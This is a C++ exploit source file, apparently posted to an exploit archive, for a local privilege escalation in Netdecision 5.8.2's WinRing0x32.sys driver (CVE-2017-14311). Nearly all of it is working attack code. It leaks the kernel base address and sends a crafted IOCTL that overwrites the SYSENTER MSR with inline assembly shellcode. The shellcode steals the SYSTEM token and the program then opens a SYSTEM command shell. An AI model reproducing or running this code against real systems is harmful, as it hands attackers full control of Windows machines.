1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 |
// Netdecision.cpp : Defines the entry point for the console application. /* # Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys # Date: 2017.09.17 # Exploit Author: Peter Baris # Vendor Homepage: www.netmechanica.com # Software Link: http://www.netmechanica.com/downloads///registration required # Version: 5.8.2 # Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1 # CVE : CVE-2017-14311 Vendor notified on 2017.09.11 - no response */ #include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <winioctl.h> #include <tlhelp32.h> #include <Psapi.h> #define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0" LPCTSTR FileName = (LPCTSTR)DEVICE_NAME; HANDLE GetDeviceHandle(LPCTSTR FileName) { HANDLE hFile = NULL; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, NULL, 0); return hFile; } extern ULONG ZwYieldExecution = NULL; extern PVOID KernelBaseAddressInKernelMode = NULL; extern HMODULE hKernelInUserMode = NULL; VOID GetKiFastSystemCall() { SIZE_T ReturnLength; HMODULE hntdll = NULL; ULONG ZwYieldExecution_offset; hntdll = LoadLibraryA("ntdll.dll"); if (!hntdll) { printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } LPVOID drivers[1024]; DWORD cbNeeded; EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded); KernelBaseAddressInKernelMode = drivers[0]; printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode); hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe"); if (!hKernelInUserMode) { printf("[-] Failed to load kernel: 0x%X\n", GetLastError()); exit; } printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode); ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution"); if (!ZwYieldExecution) { printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError()); exit; } ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode; printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset); (ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode; printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution); if (hntdll) { FreeLibrary(hntdll); } if (hKernelInUserMode) { FreeLibrary(hKernelInUserMode); } hntdll = NULL; return hKernelInUserMode; return ZwYieldExecution; } extern ULONG eip = NULL; extern ULONG pesp = NULL; extern ULONG pebp = NULL; extern ULONG ETHREAD = NULL; ULONG Shellcode() { ULONG FunctionAddress = ZwYieldExecution; __asm { pushad pushfd xor eax,eax mov edi, FunctionAddress; Address of ZwYieldExection to EDI SearchCall: mov eax, 0xe8 scasb jnz SearchCall mov ebx, edi mov ecx, [edi] add ebx, ecx; EBX points to KiSystemService add ebx, 0x4 lea edi, [ebx - 0x1] SearchFastCallEntry: mov eax, 0x00000023 scasd jnz SearchFastCallEntry mov eax, 0xa10f306a scasd jnz SearchFastCallEntry lea eax,[edi-0x9] xor edx, edx mov ecx, 0x176 wrmsr popfd popad mov eax,ETHREAD mov eax,[eax] mov eax, [eax+0x050] mov ecx, eax mov edx, 0x4 FindSystemProcess : mov eax, [eax + 0x0B8] sub eax, 0x0B8 cmp[eax + 0x0B4], edx jne FindSystemProcess mov edx, [eax + 0x0F8] mov[ecx + 0x0F8], edx ;xor eax, eax mov esp,pesp mov ebp,pebp push eip ; int 3 ret } } int main() { HANDLE hlib = NULL; HANDLE hFile = NULL; PVOID lpInBuffer = NULL; ULONG lpOutBuffer = NULL; ULONG lpBytesReturned; PVOID BuffAddress = NULL; SIZE_T BufferSize = 0x1000; SIZE_T nOutBufferSize = 0x800; ULONG Interval = 0; ULONG Shell = &Shellcode; NTSTATUS NtStatus = NULL; /* Undocumented feature to trigger the vulnerability */ hlib = LoadLibraryA("ntdll.dll"); if (!hlib) { printf("[-] Failed to load the library: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } GetKiFastSystemCall(); /* Allocate memory for our input and output buffers */ lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); /*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/ lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer); /* Crafting the input buffer */ BuffAddress = (PVOID)(((ULONG)lpInBuffer)); *(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4)); *(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8)); *(PULONG)BuffAddress = (ULONG)0x00000000;/* EDX is 0x00000000 in 32bit mode */ BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc)); *(PULONG)BuffAddress = (ULONG)0x00000000; //RtlFillMemory(lpInBuffer, BufferSize, 0x41); //RtlFillMemory(lpOutBuffer, BufferSize, 0x42); //printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n"); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError()); return 1; } else { printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n"); } /*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/ (HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/ printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip); (HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/ printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip); /*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/ DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/ ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i); printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i); if (affinity == NULL) { printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError()); exit(1); } ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/ /*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */ __asm { mov pesp, esp mov pebp, ebp nop } DeviceIoControl(hFile, 0x9C402088, lpInBuffer, 0x10, lpOutBuffer, 0x20, &lpBytesReturned, NULL); STARTUPINFO info = { sizeof(info) }; PROCESS_INFORMATION processInfo; NTSTATUS proc; LPCSTR command = L"C:\\Windows\\System32\\cmd.exe"; proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo); if (!proc) { printf("ERROR 0x%X\r\n", proc); } WaitForSingleObject(processInfo.hProcess, INFINITE); exit(0); } |